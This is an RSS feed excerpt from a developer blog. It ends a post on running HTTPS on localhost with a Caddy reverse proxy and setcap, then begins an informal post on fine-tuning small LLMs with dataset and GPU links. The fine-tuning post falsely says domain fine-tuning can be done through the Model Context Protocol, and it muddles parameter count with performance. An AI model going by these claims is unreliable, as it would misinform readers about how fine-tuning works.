      <content:encoded>&lt;p&gt;How to use Localhost using https instead of http, fast and without having to issue certificates manually nor dealing with netstat?&lt;/p&gt;&#xA;&lt;h2 id=&#34;why-to-use-https-on-localhost-instead-of-http&#34;&gt;Why to use https on localhost instead of http?&lt;/h2&gt;&#xA;&lt;p&gt;It is quite common to perform Oauth testing while performing integrations or some kind of integration with a third party application, the problem is that some third party providers are quite restrictive in this regard, they do not accept integrations or callbacks to URLs that do not use https.&lt;/p&gt;&#xA;&lt;p&gt;This is the case for apps on X (formerly Twitter) or Facebook developer platforms. &lt;del&gt;Zuckerberg!&lt;/del&gt;&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1739482326/facebook-developer-app-https-callback_hmhesu.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1739482326/facebook-developer-app-https-callback_hmhesu.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Facebook developer portal callback needs https&#34; width=&#34;722&#34; height=&#34;557&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Facebook developer portal callback needs https&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;There are several ways of dealing with this, one of them is to sign our own certificates manually, which can be cumbersome in my opinion, but let&amp;rsquo;s skip that and do it the quick and easy way.&lt;/p&gt;&#xA;&lt;h2 id=&#34;running-https-on-localhost-with-caddy&#34;&gt;Running https on localhost with Caddy&lt;/h2&gt;&#xA;&lt;p&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/caddyserver/caddy&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Caddy&lt;/a&gt;&#xA; is a server written in &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/go-programming-language-introduction-to-variables-and-data-types/&#34;&gt;Go programming language&lt;/a&gt;&#xA;, known to be easy peasy to configure (Unlike &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/linux/nginx-keepalive-gzip-http2-better-performance-on-your-website/&#34;&gt;configuring Nginx&lt;/a&gt;&#xA;), and it also includes &lt;em&gt;https&lt;/em&gt; by default.&lt;/p&gt;&#xA;&lt;p&gt;It is so simple to set up that it only requires a simple file called Caddyfile, with no extension. You can think of the latter as the equivalent of a &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/docker/how-to-write-a-docker-file-from-scratch/&#34;&gt;Dockerfile in Docker&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;Install it following the instructions according to your OS and create the &lt;em&gt;Caddyfile&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;your-sub-domain.localhost &lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    reverse_proxy http://localhost:5000&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;The sub-domain part is just to be able to isolate your app from the rest of the applications serving on localhost.&lt;/p&gt;&#xA;&lt;p&gt;The above configuration will create a reverse proxy that will redirect traffic on &lt;em&gt;your-sub-domain.localhost&lt;/em&gt; to port 5000 of your localhost. Remember to replace the port with the port of your choice.&lt;/p&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;graph TD;&#xA;    your-sub-domain.localhost--&gt;http:localhost:5000;&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &lt;p&gt;Finally just run &lt;em&gt;caddy run&lt;/em&gt;, or &lt;em&gt;caddy start&lt;/em&gt; if you want a process running in terminal or detached run, respectively, in the directory where the &lt;em&gt;Caddyfile&lt;/em&gt; is located and caddy will create a &lt;em&gt;reverse proxy&lt;/em&gt; to your localhost on the port you specified and we&amp;rsquo;ll be running https on localhost as intended.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h3 id=&#34;solution-1-to-error-caddy-listen-tcp-port_number-bind-permission-denied&#34;&gt;Solution 1 to error: Caddy “listen tcp :&amp;lt;port_number&amp;gt;: bind: permission denied”.&lt;/h3&gt;&#xA;&lt;p&gt;If you get a permission denied error while trying to run caddy, it is because Linux prevents non-root processes from listening on major ports such as 443 or 80.&lt;/p&gt;&#xA;&lt;p&gt;To allow caddy to listen on those ports and allow &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/linux/understand-permissions-in-gnu-linux-and-the-chmod-command/&#34;&gt;linux to assign the required permissions&lt;/a&gt;&#xA;, run the following command.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo setcap &lt;span style=&#34;color:#ff5c57&#34;&gt;CAP_NET_BIND_SERVICE&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;+eip &lt;span style=&#34;color:#ff6ac1&#34;&gt;$(&lt;/span&gt;which caddy&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;solution-2-to-error-caddy-listen-tcp-port_number-bind-permission-denied&#34;&gt;Solution 2 to error: Caddy “listen tcp :&amp;lt;port_number&amp;gt;: bind: permission denied”.&lt;/h3&gt;&#xA;&lt;p&gt;Another posibility is that caddy was already running, if you install it could run as a service, to which you have to stop it and execute it again.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;caddy stop&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;caddy start&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Afterwards you should be able to access your-sub-domain.localhost or your-sub-domain.localhost:443 via &lt;em&gt;https&lt;/em&gt; in your browser, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/linux/linux-basic-commands-lsof-top-ps-kill-systemctl-chown-chroot/&#34;&gt;the curl command&lt;/a&gt;&#xA; or whatever tool you prefer to use.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;How to use Localhost using https instead of http, fast and without having to issue certificates manually nor dealing with netstat?&lt;/p&gt;&#xA;&lt;h2 id=&#34;why-to-use-https-on-localhost-instead-of-http&#34;&gt;Why to use https on localhost instead of http?&lt;/h2&gt;&#xA;&lt;p&gt;It is quite common to perform Oauth testing while performing integrations or some kind of integration with a third party application, the problem is that some third party providers are quite restrictive in this regard, they do not accept integrations or callbacks to URLs that do not use https.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Fine-Tuning A LLM Small Practical Guide With Resources</title>
      <link>https://coffeebytes.dev/en/artificial-intelligence/fine-tuning-a-llm-small-practical-guide-with-resources/</link>
      <pubDate>Mon, 17 Feb 2025 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/artificial-intelligence/fine-tuning-a-llm-small-practical-guide-with-resources/</guid>
      
      <category>artificial intelligence</category>
      
      <category>opinion</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;I tried to fine-tune a DeepSeek model but I failed, then I tried to do it with Llama and I couldn&amp;rsquo;t make it work, finally I succeeded with a Mistral model, specifically the 7B parameter model.&lt;/p&gt;&#xA;&lt;p&gt;I felt completely lost, lots of tutorials but none seemed to work, hence I decided to share with my readers my notes and some resources that I found useful during the process.&lt;/p&gt;&#xA;&lt;p&gt;Still, don&amp;rsquo;t get confused by this, I still believe that &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/ai-is-overhyped-when-will-the-bubble-burst/&#34;&gt;AI is overhyped, but that will change soon&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;where-to-learn-the-basics-of-ai-and-neural-networks&#34;&gt;Where to learn the basics of AI and Neural networks?&lt;/h2&gt;&#xA;&lt;p&gt;If you have no idea about artificial intelligence or what a neural network is, the most complete and didactic videos belong to 3blue1brown.&lt;/p&gt;&#xA;&lt;p&gt;However, it is important to clarify that these videos do not start from scratch, it is necessary that you have a background in linear algebra, linear regression and differential and integral calculus. I know it can be a little discouraging for those who come from non-technical backgrounds but it is not as difficult as it seems.&lt;/p&gt;&#xA;&lt;div style=&#34;position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;&#34;&gt;&#xA;      &lt;iframe allow=&#34;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen&#34; loading=&#34;eager&#34; referrerpolicy=&#34;strict-origin-when-cross-origin&#34; src=&#34;https://www.youtube.com/embed/aircAruvnKk?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0&#34; style=&#34;position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;&#34; title=&#34;YouTube video&#34;&gt;&lt;/iframe&gt;&#xA;    &lt;/div&gt;&#xA;&#xA;&lt;p&gt;If you only speak english you probably don&amp;rsquo;t know DotCSV, but what you may not know is that DotCSV has an introduction to neural networks and their videos are excellent, the bad part of course is that his videos are in Spanish. Time to turn on the subtitles.&lt;/p&gt;&#xA;&lt;div style=&#34;position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;&#34;&gt;&#xA;      &lt;iframe allow=&#34;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen&#34; loading=&#34;eager&#34; referrerpolicy=&#34;strict-origin-when-cross-origin&#34; src=&#34;https://www.youtube.com/embed/MRIv2IwFTPg?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0&#34; style=&#34;position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;&#34; title=&#34;YouTube video&#34;&gt;&lt;/iframe&gt;&#xA;    &lt;/div&gt;&#xA;&#xA;&lt;p&gt;But if you already know everything about neural networks, then, let&amp;rsquo;s start with the fine-tuning concept.&lt;/p&gt;&#xA;&lt;h2 id=&#34;what-is-fine-tuning&#34;&gt;What is fine-tuning?&lt;/h2&gt;&#xA;&lt;p&gt;Fine-tuning is the procedure of selecting an already trained model and continuing its training on a particular data set from the field. Like for example a LLM that has been trained specifically in scientific articles about diabetes, which you can do through &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/ill-help-you-understand-the-model-context-protocol-or-mcp/&#34;&gt;the Model Context Protocol&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;Because, why use prompt engineering when you can fine-tune a model and get the same results?&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://i.imgflip.com/9kjbo2.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://i.imgflip.com/9kjbo2.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Drake hotline bling meme up: prompt engineering down: fine-tuning&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;I&amp;rsquo;m just kidding, always try prompt engineering first&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Most current LLM models exhibit quite positive overall performance, but fail to solve particular problems focused on specific tasks. The fine-tuning procedure provides significant benefits, such as decreased computational costs and the opportunity to use advanced models without the need to build one from scratch. &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/devin-ai-will-this-ai-replace-programmers/&#34;&gt;It may not replace programmers&lt;/a&gt;&#xA; but fine-tuning can turn a model into the ultimate prediction tool in an area of knowledge.&lt;/p&gt;&#xA;&lt;h3 id=&#34;steps-needed-to-fine-tune-an-llm&#34;&gt;Steps needed to fine-tune an LLM&lt;/h3&gt;&#xA;&lt;p&gt;The steps may vary according to the model but generally the process looks something like this:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Load a dataset: Gather your dataset, either existing or original.&lt;/li&gt;&#xA;&lt;li&gt;Data preprocessing: Tokenize your dataset using model tokenizer and split it into training, validation and test sets.&lt;/li&gt;&#xA;&lt;li&gt;Model selection: Choose a pre-trained LLM.&lt;/li&gt;&#xA;&lt;li&gt;Parameter configuration: Configure the hyperparameters.&lt;/li&gt;&#xA;&lt;li&gt;Training or Fine-Tuning: Train the model on the customized dataset.&lt;/li&gt;&#xA;&lt;li&gt;Evaluation: Test it with the test set.&lt;/li&gt;&#xA;&lt;li&gt;Inference: Deploy the fine-tuned model for inference on new data, making sure it generalizes well to unseen inputs.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Here are some resources about fine-tuning:&lt;/p&gt;&#xA;&lt;p&gt;I borrowed this &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/brevdev/notebooks/blob/main/mistral-finetune-own-data.ipynb&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;notebook because it was the only one that worked and modified accodringly&lt;/a&gt;&#xA;, you can thank brevdev for it.&lt;/p&gt;&#xA;&lt;p&gt;I loved this resource for understanding the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.datacamp.com/tutorial/fine-tuning-large-language-models&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;general steps to fine-tuning an LLM&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;The &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.kaggle.com/code/eduardomzepeda/fine-tuning-mistral-7b-with-linkedin-job-posting&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;notebook that I used to fine-tune&lt;/a&gt;&#xA; the model is here and you can check it.&lt;/p&gt;&#xA;&lt;h2 id=&#34;where-to-get-datasets-for-fine-tuning-an-llm&#34;&gt;Where to get datasets for fine-tuning an LLM?&lt;/h2&gt;&#xA;&lt;p&gt;In the same way you need data to train an AI model, fine-tuning requires that you provide it with the best data can you find, the best source is your own data.&lt;/p&gt;&#xA;&lt;p&gt;I used datasets from &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://huggingface.co/datasets/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;HuggingFace&lt;/a&gt;&#xA;, however it is important to &lt;strong&gt;consider that pre-trained models that are freely available were probably trained using the same data, so if you decide to use them, don&amp;rsquo;t expect to have a substantial improvement over normal model performance&lt;/strong&gt;, it would be best to use your own data or original content.&lt;/p&gt;&#xA;&lt;p&gt;Now we should have the data, what LLM should we use?&lt;/p&gt;&#xA;&lt;h3 id=&#34;fine-tuning-data-sources&#34;&gt;Fine-tuning data sources&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/awesomedata/awesome-public-datasets&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Awesome public datasets&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://kaggle.com&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Kaggle&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://opendatainception.io/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;opendatainception&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Make sure your dataset is in a proper format. Eg, I had to convert one using Python to JSONL, because each line was a separate file, which made the import incredibly slow.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/o49qurb343h802weo8cv.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/o49qurb343h802weo8cv.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;HuggingFace dataset screenshot&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Now we should have the data, what LLM should we use now?&lt;/p&gt;&#xA;&lt;h2 id=&#34;which-models-are-best-for-fine-tuning-an-llm&#34;&gt;Which models are best for fine-tuning an LLM?&lt;/h2&gt;&#xA;&lt;p&gt;To do fine-tuning, a good starting point is using a pre-trained LLM, the most parameters the better results but its performance will be worse.&lt;/p&gt;&#xA;&lt;p&gt;As a rule of thumb, it&amp;rsquo;s a good idea to browse HuggingFace, and look for large models (the ones with more parameters), among the most popular ones I could find are Llama, DeepSeek, Mistral, Falcon, among others.&lt;/p&gt;&#xA;&lt;p&gt;I tested the following models, not because they were the best, but because they were light and did not require as much computing power (I&amp;rsquo;m working with limited resources, leave me alone), but you can use their larger versions with more parameters:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://huggingface.co/meta-llama/Llama-3.1-8B&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Llama-3.1B&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://huggingface.co/deepseek-ai/DeepSeek-R1-Distill-Qwen-1.5B&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;DeepSeek-R1-Distill-Qwen-1.5B&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://huggingface.co/mistralai/Mistral-7B-v0.3&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Mistral-7B-v0.x&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;I got better results with the Mistral LLMs, probably because the DeepSeek ones were trained using Chinese sources.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/xuywp28gqcln00ydopo2.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/xuywp28gqcln00ydopo2.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Is this Searle&amp;#39;s Chinese room meme&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;I was actually able to train and deploy it but the model returned Chinese characters, (&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/chat-gpt-searles-chinese-room-and-consciousness/&#34;&gt;just like Searle&amp;rsquo;s room&lt;/a&gt;&#xA;), from time to time as part of the response, although it was incredibly fast.&lt;/p&gt;&#xA;&lt;p&gt;Now that we have the data and the model, where can we train our LLM? The cheaper the better.&lt;/p&gt;&#xA;&lt;h2 id=&#34;where-to-fine-tune-an-llm-for-free&#34;&gt;Where to fine-tune an LLM for free?&lt;/h2&gt;&#xA;&lt;p&gt;It would be best to have your own GPUs, but in case you can&amp;rsquo;t, Google, through &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://colab.research.google.com/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Google Colab&lt;/a&gt;&#xA; has GPUs available for free for a limited amount of hours per day, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.kaggle.com/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Kaggle&lt;/a&gt;&#xA; also &lt;strong&gt;offers you 30 hours of GPU usage per week&lt;/strong&gt; to run your experiments. &lt;del&gt;And create your furry images using the forbidden models.&lt;/del&gt;&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/4o5rmh1dv8il7pdml2gr.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/4o5rmh1dv8il7pdml2gr.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Kaggle free GPUs&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;In my fine-tuning adventure I also found a company called &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://salad.com/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;salad&lt;/a&gt;&#xA;, which serves as an intermediary between users and gamers who want to rent their GPUs, the prices are incredibly competitive. &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://vast.ai/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;VastAI&lt;/a&gt;&#xA; is also another option. &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://m.do.co/c/a22240ebb8e7&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Digital Ocean&lt;/a&gt;&#xA; also has very competitive prices and provices a wide variety of GPUs.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      